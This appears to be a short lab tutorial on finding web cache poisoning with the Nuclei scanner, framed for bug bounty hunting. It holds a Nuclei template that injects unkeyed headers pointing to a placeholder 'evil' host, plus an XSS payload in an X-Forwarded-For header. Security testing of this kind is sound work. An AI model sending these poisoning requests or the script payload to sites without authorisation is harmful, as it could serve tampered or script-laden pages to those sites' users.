Cache Poisoning using Nuclei
Discovering cache poisoning vulnerabilities using nuclei.
In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.
To do this, we need to use common unkeyed inputs headers such as:
X-Forwarded-Prefix: cache.my_evil_dns.com
X-Forwarded-Host: cache.my_evil_dns.com
X-Forwarded-For: cache.my_evil_dns.com
X-Originating-IP: cache.my_evil_dns.com
X-Remote-IP: cache.my_evil_dns.com
X-Remote-Addr: cache.my_evil_dns.com
X-Client-IP: cache.my_evil_dns.com
In detail, to trigger cache poisoning vulnerabilities we need two requests:
- The first that causes the server to cache the poisoned response
- The second will retrieve the poisoned response from the server-side.
To carry out this scenario, we can build our nuclei template as presented below.
id: cache-poisoning
info:
name: HTTP Cache Poisoning
author: sirpedrotavares / seguranca-informatica.pt
severity: medium
requests:
- raw:
- |
GET /?evil=007 HTTP/1.1
X-Forwarded-Prefix: cache.my.evil.dns.com
X-Forwarded-Host: cache.my.evil.dns.com
X-Forwarded-For: cache.my.evil.dns.com
X-Originating-IP: cache.my.evil.dns.com
X-Remote-IP: cache.my.evil.dns.com
X-Remote-Addr: cache.my.evil.dns.com
X-Client-IP: cache.my.evil.dns.com
- |
GET /?evil=007 HTTP/1.1
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "cache.my.evil.dns.com") == true'
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml
And yeah, we got it
😎

You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use bbscope tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).
X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>
Last modified 2yr ago